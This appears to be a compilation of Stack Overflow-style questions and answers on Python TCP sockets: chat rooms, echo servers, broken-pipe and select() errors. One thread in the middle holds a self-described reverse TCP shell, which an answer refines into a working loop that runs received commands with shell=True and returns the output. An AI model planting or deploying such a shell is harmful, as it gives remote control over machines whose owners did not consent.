I have the following code for the server:
import socket
import threading
def handle_client(client_socket):
request = client_socket.recv(1024)
print ("[*] Received: %s" % request)
client_socket.send("ACK!".encode("utf-8"))
client_socket.close()
bind_ip = "0.0.0.0"
bind_port = 9998
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print ("[*] Listening on %s:%d" % (bind_ip, bind_port))
while True:
client, addr = server.accept()
print ("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
client_handler = threading.Thread(target = handle_client, args = (client))
client_handler.start()
And the following on the client side:
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
if len(buffer) > 0:
client.send(buffer.encode("utf-8"))
data = client.recv(4096).decode("utf-8")
print(" - " + data)
while True:
buffer = input("Input:")
buffer += "\n"
client.send(buffer.encode("utf-8"))
data = client.recv(4096).decode("utf-8")
print (" - " + data)
The function client_sender is called by another function where I can choose if listen incoming connection or send data to someone.
I will call it in this way:
python3 filename.py -ip 0.0.0.0 -port 9998
I can then write some data. The first time I do it I press CTRL + D to send it and the server gets and the client gets the response.But when I try to send some data from inside the "While True" loop the server never gets it and I receive this:
client.send(buffer.encode("utf-8"))
BrokenPipeError: [Errno 32] Broken pipe
How do I solve it? The only solution I found that works is to move these two lines inside the "While True" loop:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target, port))
However it seems inefficient to me to re-connect every time.
EDIT
As suggested by Sam Mason, changing the handle_client in the following way solves the problem:
def handle_client(client_socket):
while True:
request = client_socket.recv(1024).decode("utf-8")
if len(request):
print ("[*] Received: %s" % request)
client_socket.send("ACK!".encode("utf-8"))
else:
client_socket.close()
break
your server is closing the port immediately after a single recv. I'd suggest changing your handle_client code to have some sort of while loop that ends when recv returns an empty string (this indicates the client has shutdown their end of the connection, probably by closeing their connection)
Related
Before you say this is a duplicate, I have looked at many articles on this and still can't fix it.
I am making a very basic chat client and server python program.
However after connecting through my client, it says 'Connected' on the server console, but disconnects immediately on the chat one with the error 'OSError: [WinError 10038] An operation was attempted on something that is not a
socket'
CHAT
def chat_client():
if(len(sys.argv) not in (3, 4)):
print("Usage: python chat_client.py <hostname> <port> <optional-username>\n")
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
username = ""
if len(sys.argv) == 4:
username = sys.argv[3]
else:
username = "Guest"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# Connect to remote host
try:
s.connect((host, port))
except:
print("Unable to connect")
sys.exit()
print("Connected to remote host. You can start sending messages")
print("*** Press Control-C to log off ***\n")
sys.stdout.write("[" + username + "] ")
sys.stdout.flush()
while True:
socket_list = [sys.stdin, s]
try:
# Get the list sockets which are readable
ready_to_read, ready_to_write, in_error = select.select(socket_list, [], [])
except KeyboardInterrupt:
system("clear")
sys.stdout.write("\nYou have logged off\n")
sys.stdout.flush()
sys.exit()
SERVER
HOST = ""
SOCKET_LIST = []
RECV_BUFFER = 4096
PORT = 9009
CONVERSATION = ""
def chat_server():
global CONVERSATION
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(10)
# Add server socket object to the list of readable connections
SOCKET_LIST.append(server_socket)
print("Chat server started on port " + str(PORT))
while True:
try:
# Get the list sockets which are ready to be read through select
# 4th arg, time_out = 0 : poll and never block
ready_to_read, ready_to_write, in_error = select.select(SOCKET_LIST, [], [], 0)
for sock in ready_to_read:
# A new connection request recieved
if sock == server_socket:
sockfd, addr = server_socket.accept()
SOCKET_LIST.append(sockfd)
print("Client (%s, %s) connected" % addr)
broadcast(server_socket, sockfd, "[%s, %s] entered our chatting room\n" % addr)
# A message from a client, not a new connection
else:
# Process data recieved from client
try:
# Recieving data from socket
data = sock.recv(RECV_BUFFER)
if data:
# there is something in the socket
# broadcast(server_socket, sock, "\r" + '[' + str(sock.getpeername()) + '] ' + data) # old
broadcast(server_socket, sock, "\r" + data)
else:
# Remove the socket that's broken
if sock in SOCKET_LIST:
SOCKET_LIST.remove(sock)
# at this stage, no data probably means the connection has been broken
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
except:
broadcast(server_socket, sock, "Client (%s, %s) is offline\n" % addr)
continue
except KeyboardInterrupt:
server_socket.close()
sys.exit()
server_socket.close()
# broadcast chat messages to all connected clients
def broadcast(server_socket, sock, message):
for socket in SOCKET_LIST:
# send the message only to peer
if socket != server_socket and socket != sock:
try:
socket.send(message)
except:
# Broken socket connection
socket.close()
# Broken socket, remove it
if socket in SOCKET_LIST:
SOCKET_LIST.remove(socket)
if __name__ == "__main__":
sys.exit(chat_server())
From select's documentation:
File objects on Windows are not acceptable, but sockets are. On
Windows, the underlying select() function is provided by the WinSock
library, and does not handle file descriptors that don’t originate
from WinSock.
This rules out using sys.stdin.
Alternatives:
Use Cygwin (No modifications to code needed)
Create a thread that waits on sys.stdin (like here)
Go the full Windows route and use WaitForMultipleObjects
Use some library that abstracts these details away, I like libuv but haven't used it with python
Another thing: Don't use select with a zero timeout in an infinite loop. This busy waiting is really inefficient. Instead omit the timeout to have select block till a descriptor becomes ready.
So, I've been experimenting with Python's socket module and I've created a simple TCP client/server setup. Everything's running on the same system (Win7x64), on the ip 192.168.1.3
Here's the client (It's a reverse TCP connection):
import socket, subprocess, time
me = '192.168.1.3'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((me, port))
break
except:
time.sleep(1)
s.send('[*] Connected!')
while True:
data = s.recv(1024)
output = subprocess.check_output(data, shell=True)
s.send(output)
s.close()
Here's the server:
import socket
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
#client.close()
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
Here's the output that I receive on the server:
Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*
And then it just hangs there. No matter what I get the client to send, it just won't receive it. The commands are successful on the client's side but the output isn't sent back.
Halp?
Edit: I've managed to get the output of the command received by the server once by encasing the stuff in the function in a loop:
def handler(client):
while True:
req = client.recv(1024)
print 'Recieved: %s' % req
command = raw_input('> ')
print 'Sending: %s' % command
client.send(command)
So, if I send a dir command, I receive an output once. But on trying to send another command, I get this:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Users\Jami\Documents\Awn\Eclipse USB Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine
EDIT:
Can someone recommend an alternative method? What I want to do, is for the server to 1. send a command to the client, 2. the client to execute it and 3. send the output back and 4. the output to be received by the server. And for this to carry on until it's stopped by the user.
TCP is a streaming protocol. Therefore you need some kind of message format for communication. Second, you need a loop, to send commands and read the result. On client side, you also need some kind of message protocol to send the results. I've use json encoded strings and new line as end-of-message character.
The server:
import socket
import threading
import json
host = '0.0.0.0'
port = 1332
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)
def handler(client):
print 'Recieved: %s' % client
sock_input = client.makefile('r')
while True:
command = raw_input('> ')
if command == 'exit':
break
print 'Sending: %s' % command
client.sendall(command + '\n')
print json.loads(next(sock_input))
client.close()
def main():
while True:
client,addr = s.accept()
print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
client_handler = threading.Thread(target=handler,args=(client,))
client_handler.start()
if __name__ == '__main__':
main()
The client:
import socket
import subprocess
import time
import json
me = 'localhost'
port = 1332
def main():
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((me, port))
break
except Exception, e:
print e
time.sleep(1)
sock_input = s.makefile('r')
for command in sock_input:
try:
output = subprocess.check_output(command, shell=True)
except:
output = 'Could not execute.'
s.sendall(json.dumps(output)+'\n')
s.close()
if __name__ == '__main__':
main()
Shashank is right, once it has received data once, it gets back to the accept loop.
If you want to keep receiving for this client while accepting new connections you should consider creating a thread which will handle the connection, and then keep accepting new ones in your main.
I'm writing a very basic chat room in python. Clients connect and any message from a client is relayed to all clients. The problem I'm having is getting the client to listen and send messages at the same time. It seems to only do either one. I've set up a separate listening client and confirmed that the message is received but the listening server cannot send anything.
Currently the client has to send data before getting a response from the server, but I want clients to be able to receive data before sending - otherwise the chat room won't work. I attempted using clientsock.settimeout() and then use recv but it did not solve the issue as it did not move past the input part.
server.py
#!/usr/bin/python
#socket server using threads
import socket, sys, threading
from _thread import *
HOST = 'localhost'
PORT = 2222
lock = threading.Lock()
all_clients = []
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print ("Socket created")
#bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print ("Bind failed. Error code: " + str(msg[0]) + ' Message ' + msg[1])
sys.exit(0)
print ("Socket bind complete")
#Start listening on socket
s.listen(5)
print ("Socket now listening")
#function for handling connections. This will be used to create threads
def clientthread(conn):
#sending message to connected client
conn.send("Welcome to the server. Type something and hit enter\n".encode('utf-8'))
#infinite loop so that function does not terminate and thread does not end
while True:
#receiving data from client
data = conn.recv(1024)
reply = "OK..." + str(data, "utf-8")
if not data:
break
with lock:
for c in all_clients:
c.sendall(reply.encode('utf-8'))
#came out of loop
conn.close()
#keep talking with the client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
with lock:
all_clients.append(conn)
print ("Connected with " + addr[0] + ":" + str(addr[1]))
#start new thread takes 1st argument as a function name to be run, second
#is the tuple of arguments to the function
start_new_thread(clientthread ,(conn,))
s.close()
client.py
#!/usr/bin/python
import socket, sys
#client to transfer data
def main():
#create tcp stocket
clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#connect the socket to the server open port
server_address = ('localhost', 2222)
print ("connecting to %s port %s" % server_address)
clientsock.connect(server_address)
#receive data
data = clientsock.recv(1024)
print(str(data, "utf-8"))
while 1:
#send data
message = "sean: " + input()
clientsock.send(message.encode('utf-8'))
#look for the response
amount_received = 0
amount_expected = len(message)
while amount_received < amount_expected:
data = clientsock.recv(1024)
amount_received += len(data)
print ("received %s " % data)
print ("closing socket")
clientsock.close()
main()
new_client.py
#!/usr/bin/python
import socket, sys
from threading import Thread
#client for chat room
def send_msg(sock):
while True:
data = input()
sock.send(data.encode('utf-8'))
def recv_msg(sock):
while True:
stuff = sock.recv(1024)
sock.send(stuff)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('localhost', 2222)
sock.connect(server_address)
print("Connected to chat")
Thread(target=send_msg, args=(sock,)).start()
Thread(target=recv_msg, args=(sock,)).start()
Create two threads, one for receiving the other for sending. This is the simplest way to do.
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect("address")
def send_msg(sock):
while True:
data = sys.stdin.readline()
sock.send(data)
def recv_msg(sock):
while True:
data, addr = sock.recv(1024)
sys.stdout.write(data)
Thread(target=send_msg, args=(sock,)).start()
Thread(target=recv_msg, args=(sock,)).start()
This may have been already answered but did not find anything or dont know what to search for. I have a socket server threaded for multiple clients (code below) and want the server to run code (ie. check the status of something) and then send a message to the clients. How do I go about doing this?
To clarify, I need to learn how to add a asynchronous task to this code so it can do checking and send a message to the clients if it needs to
Example: while there are clients connected I want the server to continually check a log file and if it changes and if so I want it to send a message to the clients
Server.py(working code)
from socket import *
import thread
BUFF = 1024
HOST = '127.0.0.1'# must be input parameter #TODO
PORT = 9999 # must be input parameter #TODO
def response(key):
return 'Server response: ' + key
def handler(clientsock,addr):
while 1:
data = clientsock.recv(BUFF)
if not data: break
print repr(addr) + ' recv:' + repr(data)
clientsock.send(response(data))
print repr(addr) + ' sent:' + repr(response(data))
if "close" == data.rstrip(): break # type 'close' on client console to close connection from the server side
clientsock.close()
print addr, "- closed connection" #log on console
if __name__=='__main__':
ADDR = (HOST, PORT)
serversock = socket(AF_INET, SOCK_STREAM)
serversock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
serversock.bind(ADDR)
serversock.listen(5)
while 1:
print 'waiting for connection... listening on port', PORT
clientsock, addr = serversock.accept()
print '...connected from:', addr
thread.start_new_thread(handler, (clientsock, addr))
I have added below code server.py and this works for sending a status change message when log file changes.
import socket
import sys
import time
from thread import *
HOST = 'localhost' # Symbolic name meaning all available interfaces
PORT = 9999 # Arbitrary non-privileged port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
s.listen(10)
print 'Socket now listening'
#Function for handling connections. This will be used to create threads
def clientthread(conn):
#Sending message to connected client
conn.send('Welcome to the server. Type something and hit enter\n') #send only takes string
data = conn.recv(1024)
#infinite loop so that function do not terminate and thread do not end.
while True:
logfile = open("serverlog.txt","r")
#Receiving from client
logfile.seek(0,2)
while True:
line = logfile.readline()
if not line:
time.sleep(0.1) # Sleep briefly
continue
reply = 'File Changed...Your Data' + data
break
conn.sendall(reply)
#came out of loop
conn.close()
#now keep talking with the client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
#start new thread takes 1st argument as a function name to be run, second is the tuple of arguments to the function.
start_new_thread(clientthread ,(conn,))
s.close()
To test it run this server.py in one command prompt and keep it open. something like this
> python server.py
Socket created
Socket bind complete
Socket now listening
And run a simple telnet from other cmd prompt to verify the connection
telnet localhost 9999
Replace localhost with IP. Type anything on these telnet connection and you should get response properly.
Also you can check on server.py cmd prompt for the connections made.
And as I mentioned, check this link.
I am learning socket programming using python. my first assignment is to a write a client.py and a server.py. The client sends a message to server. The server receives the message of 16 bytes each time. After it has received the entire message, it will send the same message back to client.
so it is very simple. The server has backlog of 1. After the server sends the message to client, the connection to client close and the server should be open to receive new connection.
my current code fails in the last step. It is not open to receive new connections. It is throwing error. I even figured out the error. but I do not know how to fix this.
The error comes from server.py because I call for sock.accept() but I have closed the sock.
Let me explain my server.py code: I have two while loops. The outer loop looks for new connection, and the inner loop looks process request from connections i.e it simply receives data, wait till everything is received and send it back to client and finally close the connection.
I am asked not to change the structure of two while loops but just implement them.
Any thoughts or ideas on this:
client.py
import socket
import sys
def client(msg, log_buffer=sys.stderr):
server_address = ('localhost', 10000)
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)
sock.connect(server_address)
print >>log_buffer, 'connecting to {0} port {1}'.format(*server_address)
try:
print >>log_buffer, 'sending "{0}"'.format(msg)
sock.sendall(msg)
chunk = ''
done=False;
while not done:
chunk+=sock.recv(16)
if chunk==msg:
done=True
print >>log_buffer, 'received "{0}"'.format(chunk)
finally:
print >>log_buffer, 'closing socket'
sock.close()
if __name__ == '__main__':
if len(sys.argv) != 2:
usg = '\nusage: python echo_client.py "this is my message"\n'
print >>sys.stderr, usg
sys.exit(1)
msg = sys.argv[1]
client(msg)
Server.py
import socket
import sys
def server(log_buffer=sys.stderr):
# set an address for our server
address = ('127.0.0.1', 10000)
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_IP)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
# log that we are building a server
print >>log_buffer, "making a server on {0}:{1}".format(*address)
sock.bind(address)
sock.listen(1)
try:
# the outer loop controls the creation of new connection sockets. The
# server will handle each incoming connection one at a time.
while True:
print >>log_buffer, 'waiting for a connection'
conn,add=sock.accept()
addr=(conn,add)
try:
print >>log_buffer, 'connection - {0}:{1}'.format(*addr)
# the inner loop will receive messages sent by the client in
# buffers. When a complete message has been received, the
# loop will exit
data = ''
while True:
recvdata=conn.recv(16)
print recvdata
data+=recvdata
print >>log_buffer, 'received "{0}"'.format(data)
print >>log_buffer, "len of received data: {0}".format(len(recvdata))
if len(recvdata)<16:
print >>log_buffer,"sending data"
conn.sendall(data)
break
conn.close()
finally:
sock.close()
except KeyboardInterrupt:
sock.close()
if __name__ == '__main__':
server()
sys.exit(0)
I runpython server.py in one terminal andpython client.py "This is the first message. send me back"` in a different terminal. The client connection is lost normally as expected. But I get the following error at server side (towards the end):
making a server on 127.0.0.1:10000
waiting for a connection
connection - <socket._socketobject object at 0x100849c20>:('127.0.0.1', 50626)
sairam hopefully
received "sairam hopefully"
len of received data: 16
this works lets
received "sairam hopefully this works lets"
len of received data: 16
c
received "sairam hopefully this works lets c"
len of received data: 2
sending data
waiting for a connection
Traceback (most recent call last):
File "echo_server.py", line 89, in <module>
server()
File "echo_server.py", line 39, in server
conn,add=sock.accept()
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 202, in accept
sock, addr = self._sock.accept()
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor
You are closing sock inside your while loop. Don't do that. sock is your long-lasting server socket, which needs to remain open to listen for new connections. conn is your ephemeral socket, which needs to remain open only the length of a single connection.
Close conn after each connection, close sock when the server needs to terminate.
More simply, replace these lines:
finally:
sock.close()
with
finally:
conn.close()
What you are trying to do is a simple echo server, which I believe you can implement much more simply.
Server:
import socket
host = ''
port = 50000
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
while 1:
client, address = s.accept()
data = client.recv(size)
if data:
client.send(data)
client.close()
Client:
import socket
host = 'localhost'
port = 50000
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send('Hello, world')
data = s.recv(size)
s.close()
print 'Received:', data